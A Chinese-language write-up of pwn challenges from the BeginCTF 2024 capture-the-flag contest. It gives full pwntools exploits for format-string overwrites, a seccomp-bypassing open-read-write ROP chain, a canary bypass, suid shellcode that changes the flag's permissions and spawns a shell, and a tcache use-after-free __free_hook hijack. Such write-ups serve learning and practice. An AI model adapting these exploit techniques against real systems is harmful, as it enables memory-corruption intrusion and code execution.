好久没更新了啊哈哈哈,前段时间在复习期末考,然后是打beginctfhgame,以及和朋友天天出去浪。现在花点时间整理一下beginctfpwn题,这次除了minimailqwtp都做出来了,还不错。

其实beginctf的题是真不错,前段时间做过往年的一题beginctf的堆题。我也会抽时间写的。

题目有点多,可以拉目录。

aladdin阿拉丁

看到题目说实现三个愿望我就大概猜到是和格式化有关了。

2024beginctfpwn题解wp_题解wp

话不多梭,看看IDA

逆向分析

2024beginctfpwn题解wp_2024beginctf_02

程序只有这一个main函数。前面很明显能看到沙盒,等会检查一下具体怎么禁的,后面是三次不在栈上的格式化字符串机会。

不在栈上的格式化字符串有一个讨厌的点在于你不能直接往栈上写东西,并且直接指定要改。必须用双重指针去做跳板。

具体可以看看我前面的格式化相关blog。或者直接看我后面写的东西。

2024beginctfpwn题解wp_pwn_03

沙盒检查出来是这样的,似乎没有禁完全,那个execveat就没禁,不过我不太了解那个函数,所以最后还是选择走ORW。然后checksec得到保护是这样的,笑死,喜欢全开保护

2024beginctfpwn题解wp_题解wp_04

chanceone

第一次机会肯定得先把能泄露的全部都泄露了,什么libc基址,程序自身的基址,栈地址,统统拿了再说

exp大概是这样的

io.recvuntil(b'wish:\n')
payload = b'flag%7$p%15$p%17$p'
io.send(payload)

io.recvuntil(b'flag')
ret_stack_adr = int(io.recv(0xe),16) + 0x38
#这里加上0x38校准到返回地址,方便后面操作
print(str('ret_stack_adr = ') + str(hex(ret_stack_adr)))
libc_base = int(io.recv(0xe),16) - 0x1d90
print(str('libc_base = ') + str(hex(libc_base)))
ELF_base  = int(io.recv(0xe),16) - 0x229
print(str('ELF_base  = ') + str(hex(ELF_base)))

用flag当作标记防止接收到别的乱七八糟的东西。

后面就会随每个人思路不同而不同了。

libc_start_main经典小trick

但是有一个经典小trick在这里很有用,容我介绍一下。

刚刚在IDA看到程序只有main函数,而main函数的返回地址是libc里面的一个叫做libc_start_main的函数。

这意味着两件事。一,main函数返回地址可以很容易被改成libc的任意地址。二,main函数的返回地址如果被改的小一些,main函数就会返回到libc_start_main的前面,而该函数又会呼出main函数。

非栈fmt利用介绍

下面介绍一些如何利用非栈的fmt

2024beginctfpwn题解wp_题解wp_05

我截取了格式化前一步的栈布局,接下来假设我们的目标地址是rbp下面的返回地址。我们没办法直接改,必须分两步,第一步构造跳板,改图中上面两个蓝框指针为指向返回地址。

改完之后是这样的,可以看到我们改了上面两个蓝框之后,最下面的蓝框就指向了返回地址。严格来说还有一个错位操作。因为我们可能需要涉及改返回地址的末尾6位才能将其改为其他的地址。而一次改6位需要的字符数将是天文数字,所以这里用两个栈地址错位,2+4去改。

2024beginctfpwn题解wp_题解wp_06

基本原理就是这样。接下来介绍我这题的两种思路。

两种思路

铺垫了那么多,终于可以把思路端上来里!

刚才说了沙盒被限了,所以直接改返回地址为onegadget不可行。

所以我想到的两种思路分别为

一,直接改返回地址__libc_start_mainlibc的gets函数,因为gets函数没有限制读入大小,只要rdi是一个栈地址,就可以造成栈溢出。值得一提的是,在这题我似乎利用的是gets函数自身的栈溢出。

因为我发现成功修改返回地址__libc_start_mainlibc的gets函数之后,在执行到gets函数时rdi好巧不巧是一个距离gets函数返回地址0x2290,大于gets函数自身的溢出偏移。最后经过调试,偏移选了0x2250

2024beginctfpwn题解wp_2024beginctf_07

再偏移算好之后就简单了,把正常的ORW流程走一遍就行,exp我贴这了

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("101.32.220.189",31129)
io = process("./aladdin")
def debug():
    gdb.attach(io,
    '''
b *$rebase(0x13D6)
    ''')
debug()

payload = b'flag%7$p%15$p%17$p'
io.sendlineafter("wish:\n",payload)

io.recvuntil(b'flag')
ret_stack_adr = int(io.recv(0xe),16) + 0x38
print(str('ret_stack_adr = ') + str(hex(ret_stack_adr)))
libc_base = int(io.recv(0xe),16) - 0x1d90
print(str('libc_base = ') + str(hex(libc_base)))
ELF_base  = int(io.recv(0xe),16) - 0x229
print(str('ELF_base  = ') + str(hex(ELF_base)))

payload=f"%{(ret_stack_adr&0xffff)}c%19$hna%36$hn".encode()
io.sendlineafter("wish:\n",payload)

libc_gets = libc_base + 0x58520
gets2 = (libc_gets&0xff)
print(hex(gets2))
gets4 = (libc_gets&0xffff00)//0x100
print(hex(gets4))

#懒得写判断了,我就默认gets4大于gets2,去赌一下这个概率把。
payload=f"%{gets2}c%49$hhn%{gets4 - gets2}c%51$hnflag\x00".encode()
io.sendafter("wish:\n",payload)

pop_rax = libc_base + 0x45eb0 - 0x28000
pop_rdi = libc_base + 0x2a3e5 - 0x28000
pop_rsi = libc_base + 0x2be51 - 0x28000
pop_rdx = libc_base + 0x796a2 - 0x28000
syscall = libc_base + 0x1149D0 - 0x28000
print(f'b *{hex(pop_rax)}')

bss_adr = ELF_base + 0x4040
#rax = 2,open(flag,0,0)
fini_payload = cyclic(0x2248) + b'flag\x00\x00\x00\x00' + p64(pop_rax) + p64(0x2) + p64(pop_rdi)
fini_payload += p64(ret_stack_adr - 0x40) + p64(pop_rsi) + p64(0x0)
fini_payload += p64(pop_rdx) + p64(0x0) + p64(syscall)
#rax = 0,read(3,bss_adr,30)
fini_payload += p64(pop_rax) + p64(0x0) + p64(pop_rdi)
fini_payload += p64(0x3) + p64(pop_rsi) + p64(bss_adr)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall)
#rax = 1,write(1,bss_adr,30)
fini_payload += p64(pop_rax) + p64(0x1) + p64(pop_rdi)
fini_payload += p64(0x1) + p64(pop_rsi) + p64(bss_adr)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall)

io.sendlineafter(b'The wonderful lamp is broken',fini_payload)
io.interactive()

解法二,利用刚才说的小trick多利用几次格式化字符串,一直重复利用构造出ORW的栈布局就行了。这个我不打算细说,我就贴一个exp在这得了。因为知道原理之后确实很常规。

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("101.32.220.189",31129)
io = process("./aladdin")
def debug():
    gdb.attach(io,
    '''
b *$rebase(0x13D6)
    ''')
debug()

io.recvuntil(b'wish:\n')
payload = b'flag%7$p%15$p%17$p'
io.send(payload)

io.recvuntil(b'flag')
stack_adr = int(io.recv(0xe),16)
print(str('stack_adr = ') + str(hex(stack_adr)))
libc_base = int(io.recv(0xe),16) - 0x1d90
print(str('libc_base = ') + str(hex(libc_base)))
ELF_base  = int(io.recv(0xe),16) - 0x229
print(str('ELF_base  = ') + str(hex(ELF_base)))

def change(adr,tovalue):
    for i in range(7):
        payload=f"%{((adr)&0xff)+i}c%19$hhn".encode()
        io.sendafter("wish:\n",payload)
        payload=f"%{((tovalue)>>(i*8))&0xff}c%49$hhn".encode()
        io.sendafter("wish:\n",payload)

adr4 = ((stack_adr + 0x38)&0xffff)
io.recvuntil(b'wish:\n')
payload = b'%' + str(adr4).encode() + b'c%19$hn'
io.send(payload)

io.recvuntil(b'wish:\n')
payload = b'%' + str(0x4c).encode() + b'c%49$hhn'
io.send(payload)

pop_rax = libc_base + 0x45eb0 - 0x28000
pop_rdi = libc_base + 0x2a3e5 - 0x28000
pop_rsi = libc_base + 0x2be51 - 0x28000
pop_rdx = libc_base + 0x796a2 - 0x28000
ret_adr = libc_base + 0x1149DA - 0x28000
syscall = libc_base + 0x1149D0 - 0x28000

#rax = 2,open(flag,0,0)
fini_payload = p64(pop_rax) + p64(pop_rax) + p64(0x2) + p64(pop_rdi)
fini_payload += p64(ELF_base + 0x3150) + p64(pop_rsi) + p64(0x0)
fini_payload += p64(pop_rdx) + p64(0x0) + p64(syscall)
#rax = 0,read(3,stack_adr - 0x1000,30)
fini_payload += p64(pop_rax) + p64(0x0) + p64(pop_rdi)
fini_payload += p64(0x3) + p64(pop_rsi) + p64(stack_adr - 0x1000)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall)
#rax = 1,write(1,stack_adr - 0x1000,30)
fini_payload += p64(pop_rax) + p64(0x1) + p64(pop_rdi)
fini_payload += p64(1) + p64(pop_rsi) + p64(stack_adr - 0x1000)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall) + b'flag\x00'

change(stack_adr + 0x30,ELF_base + 0x3070)
change(stack_adr + 0x38,ELF_base + 0x425)

io.recvuntil(b'wish:\n')
io.send(b'one more wish\x00\x00\x00' + fini_payload)
io.interactive()

后记

这个题虽然不算是最难的,但是给我的印象是最深的,化的时间也是最长的。

孩子,不管是拿shell还是ORW的题,最后的interactive都别删了,要不py脚本一运行完,整个py就跑路了,你也看不了任何结果了。。。。

孩子,这一点也不好笑。

no money

这题倒是不难,但是挺有意思

2024beginctfpwn题解wp_pwn_08

2024beginctfpwn题解wp_2024beginctf_09

意思就是要你改target地址的值,甚至不需要改成特定大小的值。笑死

而且格式化也是往栈上写的。

targetbss段,所以只需要第一轮搞出ELF_base,第二轮往栈上写target_adr再用%n修改就行。只要注意一下对其就问题不大

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("101.32.220.189",30620)
io = process("./no_money")
def debug():
    gdb.attach(io,
    '''
b *$rebase(0x132D)
c
c
    ''')
debug()
tar_adr = 0x404c

io.recvuntil(b'payload:')
payload = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
io.sendline(payload)

io.recvuntil(b'\n')
io.recvuntil(b'0x')#1
stack_adr = int(io.recv(0xc),16)
print(hex(stack_adr))
io.recvuntil(b'0x')#2
io.recvuntil(b'0x')#3
libc_base = int(io.recv(0xc),16) - 0xd1a5d
print(hex(libc_base))
io.recvuntil(b'0x')#4
io.recvuntil(b'0x')#5
io.recvuntil(b'0x')#6
io.recvuntil(b'0x')#7
io.recvuntil(b'0x')#8
io.recvuntil(b'0x')#9
io.recvuntil(b'0x')#10
io.recvuntil(b'0x')#11
io.recvuntil(b'0x')#12
io.recvuntil(b'0x')#13
io.recvuntil(b'0x')#14
io.recvuntil(b'0x')#15
io.recvuntil(b'0x')#16
io.recvuntil(b'0x')#17
main_adr = int(io.recv(0xc),16) - 0x277
print(hex(main_adr))

tar_adr = tar_adr + main_adr - 0x1000
sys_adr = main_adr + 0x11FB

payload = b'%p%p%p%p%p%p%p%p%p%p%n%p'
payload+= p64(tar_adr)
io.recvuntil(b'payload:')
io.sendline(payload)
io.interactive()

后记

本来这里看到read函数存在栈溢出还想试试栈溢出的,因为存在已有的后门函数,但是唯一退出的方式只有写一个$,但是一旦写了$,就是exit(-1),没有栈溢出利用的机会。

cat

这题挺有意思的,考了strcatstrcpy拼接。然后是给了三次read机会,要在这三次机会下做到不泄露canary达到栈溢出。

2024beginctfpwn题解wp_2024beginctf_10

2024beginctfpwn题解wp_2024beginctf_11

2024beginctfpwn题解wp_2024beginctf_12

还有就是直接给了后门函数。

主要考一个栈溢出利用strcatstrcpycanary

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("101.32.220.189",30740)
io = process("./catflag")
def debug():
    gdb.attach(io,
    '''
b *0x40133b
    ''')
debug()
back_door = 0x4011FB

payload2 = b'a'*0x2 + p64(back_door)
payload3 = b'b'*0x18 + b'\x00' 
payload1 = b'c'*0x38

io.sendlineafter(b'read:',payload2)
io.sendafter(b'read:',payload3)
io.sendlineafter(b'read:',payload1)
io.interactive()

payload从上往下是发出的顺序。1,2,3是被写到栈上的顺序。

payload1填充到canary,并且用回车填上canary的两个‘\x00’,这样第二次的strcat就可以直接接到canary后面写上返回地址了,那两个a是用来填充rbpb’\x00‘的。最后一次的strcpy是用来把canary的那个b‘\x00’补回去,否则依然会认为canary检查失败。

大概就这样吧,多调试就行,这题不难,

ezpwn

这题两种解法,命令注入或数组越界改返回地址(因为有后门函数地址)都行。

2024beginctfpwn题解wp_2024beginctf_13

命令注入

2024beginctfpwn题解wp_题解wp_14

不太懂命令注入www。懒得管了

数组越界

直接改最后一位就行。不过这里有一个scanf的问题,这里没有对scanf做好处理,如果你在发index时最后发送了回车,回车b'\x0a'会一直停留在缓冲区直到被value接受,也就改失败了。而如果只发552不发回车,scanf会一直等你发东西,他会以为你没发完。

所以我这里在552后面接上b'\x4e',这个b'\x4e'既可以让scanf结束,还可以停留在缓冲区让value接收到。就可以成功修改返回地址了.

甚至还可以做得更绝一点,我们看到value这里有两个getchar,那我们就故意在b’552\x4e‘后面接上一个回车。这样b'\x4e'value接受到,回车被第二个getchar接受到,而我们的b'4'就会被后面的选择接受到,顺便还能帮我选了退出选项,就可以回到我刚刚改写的返回地址了。

2024beginctfpwn题解wp_pwn_15

io.sendlineafter(b'choice.\n',b'1')
io.sendlineafter(b'index.\n',b'552\x4E')
io.sendlineafter(b'value\n',b'4')

one_byte

2024beginctfpwn题解wp_题解wp_16

2024beginctfpwn题解wp_题解wp_17

程序会输出flag的一个字节.然后会给一个字节的溢出,这就是考之前我说的那个小trick了,经过测试这个字节选b'\x89'就行。

然后他就会一个字节一个字节的把flag输出来。

for i in range(1,70,1):
    io.recvuntil(b'gift: ')
    print(io.recv(0x1))
    io.recvuntil(b'result?')
    payload = b'\x00' * 0x11 + b'\x89'
    io.send(payload)

Unhappy

这题是一个限制了特定字节的shellcode

2024beginctfpwn题解wp_题解wp_18

具体对于写shellcode有什么影响呢,影响不大.反正我是编出来了。

这题还有就是考一个suidflagsuid才能读取,程序是在suid下运行的,程序本身拥有这个权限,但是如果execve(b'/bin/sh',0,0)就等于主动放弃了这个权限,反而拿不到flag了。

我是选择先chmodflag权限给普通用户,再拿shell

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("101.32.220.189",31209)
io = process("./unhappy")
def debug():
    gdb.attach(io,
    '''
b *$rebase(0x12CC)
c
    ''')
debug()
#rax = 0x90;chmod(flag,0x7) 
#rax = 0;read(0,0xfff00100,0xff)
#rax = 0x3b;execve(/bin/sh,0,0)
code="""
pop rsi
pop rsi
push rsi;pop rdi
push rsi;pop rax
mov esi,0xfff00100#/bin/sh
syscall

push rdi;pop rax
mov esi,0xfff00108#flag
syscall

push rsi;pop rdi
add ax,0x55
mov esi,0x77
syscall

push 0x0;pop rax
push 0x0;pop rdx
push 0x0;pop rsi
mov edi,0xfff00100
add ax,0x3b
syscall
"""
payload = asm(code)
io.sendline(payload)
pause()
io.send(b'/bin/sh\x00')
pause()
io.send(b'flag\x00')
io.interactive()

gift_rop

2024beginctfpwn题解wp_pwn_19

很明显的栈溢出,gadget也全部都有。但是把标准输出关了,就等于啥都看不到。

搜了一下,解决方式倒很简单,拿shell之后输入exec 1>&0重定向一下就行。还有就是远程这样是可以打通,但是本地不知道为什么不行。

也没啥讲的。

zeheap

终于到最后一题了奥,这题可以算是我收获最大的一题了。慢慢开始更熟悉堆的利用了。后面也会继续更新堆相关的内容。

保护

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开,所以没办法劫持got表,估计只能劫持hook了。

IDA

照常是一个菜单notes题。

2024beginctfpwn题解wp_题解wp_20

现在看看每个功能想办法找到漏洞点。

creat函数

2024beginctfpwn题解wp_pwn_21

v2<=0xF一位置最多16个notes。还用mark数组手动标记该堆块是否被启用。堆块指针存在list数组。并且还在每次申请出来堆块的时候手动清除里面的数据。还有就是堆块大小固定了0x80.

edit函数

(这里本来想截图的,但是截图一直传不上去www)

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("num:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && mark[v1] == 1 )
  {
    puts("read:");
    read(0, *((void **)&list + (int)v1), 0x80uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

这里还有一个对mark数组的检查,判断确定这个数组有被启用,而不是bin里面的某个堆块。

show函数

(这里也是本来想截图的,但是截图一直传不上去www)

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("num:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF && mark[v1] == 1 )
    write(1, *((const void **)&list + (int)v1), 0x80uLL);
  return __readfsqword(0x28u) ^ v2;
}

把指定堆块东西写出来,并且同样对mark数组进行检查。只有在启用下才写出来。

delete函数

(这里也是本来想截图的,但是截图一直传不上去www)

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("num:");
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 0xF )
  {
    free(*((void **)&list + (int)v1));
    mark[v1] = 0;
  }
  return __readfsqword(0x28u) ^ v2;
}

前面似乎都没啥大漏洞点,这里出现了关键。经管这个delete函数把mark数组对应位置置零了,但是这个delete函数自己却没有像其他函数一样检查mark数组,而且指针还没置零。大大的机会啊。

确定思路

这个题本身不存在后门函数。所以我思路是先泄露libc基址,然后再劫持hook。到时候onegadget或者劫持freefree一个内容为/bin/sh的堆块都可以试试。

泄露libc

由于题目给了ld-2.31.solibc-2.31.so,这题必然会出现tcachebin。因为tcachebinfastbin都没有libc,所以考虑利用程序申请的0x80大小的堆块,先填满tcachebin,再进入unsortedbin,后面利用uaflibc。要注意的点就是unsortedbin不能直接和topchunk物理相连,否则会被直接并入topchunk,必须留一个chunk将其隔开。

具体看看exp怎么实现。

for i in range(0,7,1):#准备用这些填满tcachebin
    create(i)
create(7)
create(8)#防止合并
for i in range(0,7,1):#填满tcachebin
    free(i)
free(7)#让7进入unsortedbin

for i in range(0,7,1):#清空tcachebin
    create(i)

create(9)#让9拿到7刚刚释放的unsortedbin
#这时我们的7和9指向同一块堆块,就可以进行uaf了
#但是堆块这时候被creat函数mmset清零了无法泄露libc
#因为delete函数没有检查mark
#于是考虑再释放7一次,保证9的标记位为1方便后面show(9)
#但是这次释放7同样要考虑到tcachbin
for i in range(0,7,1):#再次用这些填满tcachebin
    free(i)

free(7)#让7进入unsortedbin
show(9)

我把每一步的目的都写了出来,虽然有点繁琐但是尽量方便阅读。

处理libc

libc拿到之后放在gdb里面去vmmap找到偏移获得libc基址

这里强烈建议大家以后所有偏移都到gdb去找,我最近做有些题发现IDA给的偏移有问题,比如system实际地址为0x30290,但是在IDA看却是0x52290,最近这个偏移误差在onegadegtROPgadget也出现了。好在所有误差偏移是固定的,只要找到一个就行了。

libc_base = u64(io.recv(0x8)) - 0x1CABE0 
print(hex(libc_base))
free_hook = libc_base + 0x1cce48
malloc_hook = libc_base + 0x1cab70
system = libc_base + 0x30290

比如泄露的libc放到vmmap一看就知道了偏移了。(这里本来也是想截图的,但是截图一直传不上去wwwww)

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x556465ba0000     0x556465ba1000 r--p     1000      0 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba1000     0x556465ba2000 r-xp     1000   1000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba2000     0x556465ba3000 r--p     1000   2000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba3000     0x556465ba4000 r--p     1000   2000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba4000     0x556465ba5000 rw-p     1000   3000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba5000     0x556465ba6000 rw-p     1000   5000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba6000     0x556465ba7000 rw-p     1000   6000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556465ba7000     0x556465ba8000 rw-p     1000   7000 /mnt/d/PWN/beginctf/zeheap/zeheap
    0x556466c3b000     0x556466c5c000 rw-p    21000      0 [heap]
    0x7f8255146000     0x7f8255148000 rw-p     2000      0 [anon_7f8255146]
    0x7f8255148000     0x7f825516a000 r--p    22000      0 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
    0x7f825516a000     0x7f82552e2000 r-xp   178000  22000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
    0x7f82552e2000     0x7f8255330000 r--p    4e000 19a000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
    0x7f8255330000     0x7f8255334000 r--p     4000 1e7000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
    0x7f8255334000     0x7f8255336000 rw-p     2000 1eb000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
    0x7f8255336000     0x7f825533c000 rw-p     6000      0 [anon_7f8255336]
    0x7f825533c000     0x7f825533d000 r--p     1000      0 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
    0x7f825533d000     0x7f8255360000 r-xp    23000   1000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
    0x7f8255360000     0x7f8255368000 r--p     8000  24000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
    0x7f8255369000     0x7f825536a000 r--p     1000  2c000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
    0x7f825536a000     0x7f825536b000 rw-p     1000  2d000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
    0x7f825536b000     0x7f825536c000 rw-p     1000      0 [anon_7f825536b]
    0x7ffc9f5a4000     0x7ffc9f5c5000 rw-p    21000      0 [stack]
    0x7ffc9f5d7000     0x7ffc9f5db000 r--p     4000      0 [vvar]
    0x7ffc9f5db000     0x7ffc9f5dd000 r-xp     2000      0 [vdso]
pwndbg> vmmap 0x7f8255336e48
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x7f8255334000     0x7f8255336000 rw-p     2000 1eb000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
►   0x7f8255336000     0x7f825533c000 rw-p     6000      0 [anon_7f8255336] +0xe48
    0x7f825533c000     0x7f825533d000 r--p     1000      0 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so

又或者这里的p &xxxx命令,在附加了调试信息的时候简直香到不行。

pwndbg> p &system
$1 = (<text variable, no debug info> *) 0x7f825519a290 <system>
pwndbg> p &mark
$2 = (<data variable, no debug info> *) 0x556465ba4040 <mark>
pwndbg> x/20gx &mark
0x556465ba4040 <mark>:  0x0000010000000000      0x0000000001010101
0x556465ba4050: 0x0000000000000000      0x0000000000000000
0x556465ba4060 <list>:  0x0000556466c3ca20      0x0000556466c3c990
0x556465ba4070 <list+16>:       0x0000556466c3c900      0x0000556466c3c870
0x556465ba4080 <list+32>:       0x0000556466c3c7e0      0x0000556466c3c6c0
0x556465ba4090 <list+48>:       0x0000556466c3c6c0      0x0000556466c3cab0
0x556465ba40a0 <list+64>:       0x0000556466c3cb40      0x0000556466c3cab0
0x556465ba40b0 <list+80>:       0x0000556466c3c6c0      0x00007f8255336e48
0x556465ba40c0 <list+96>:       0x0000000000000000      0x0000000000000000
0x556465ba40d0 <list+112>:      0x0000000000000000      0x0000000000000000

劫持拿shell

我这里选择的劫持freehookfree一个内容为/bin/sh的堆块。

#前面
create(5)#现在5和6的指针是一样的了
free(6)#再次把这个堆块接入tcachebin
#可以进行tcachebin的uaf了
edit(5,p64(free_hook))#改tcachebin中第一个bin的fd
create(10)#申请第一个,拿到5和6的堆块
edit(10,b'/bin/sh')#现在tcachebin中只剩freehook了
create(11)#拿到freehook
edit(11,p64(system))#改写成system地址
free(10)#释放内容为/bin/sh的堆,成功拿shell
io.interactive()

具体看注释吧,再不行调试一下试试。

还有一个就是tcachebin的申请很宽松,fastbin还有检查个size

tcachebin只要那个数组里面标记的size符合和数量充足就行.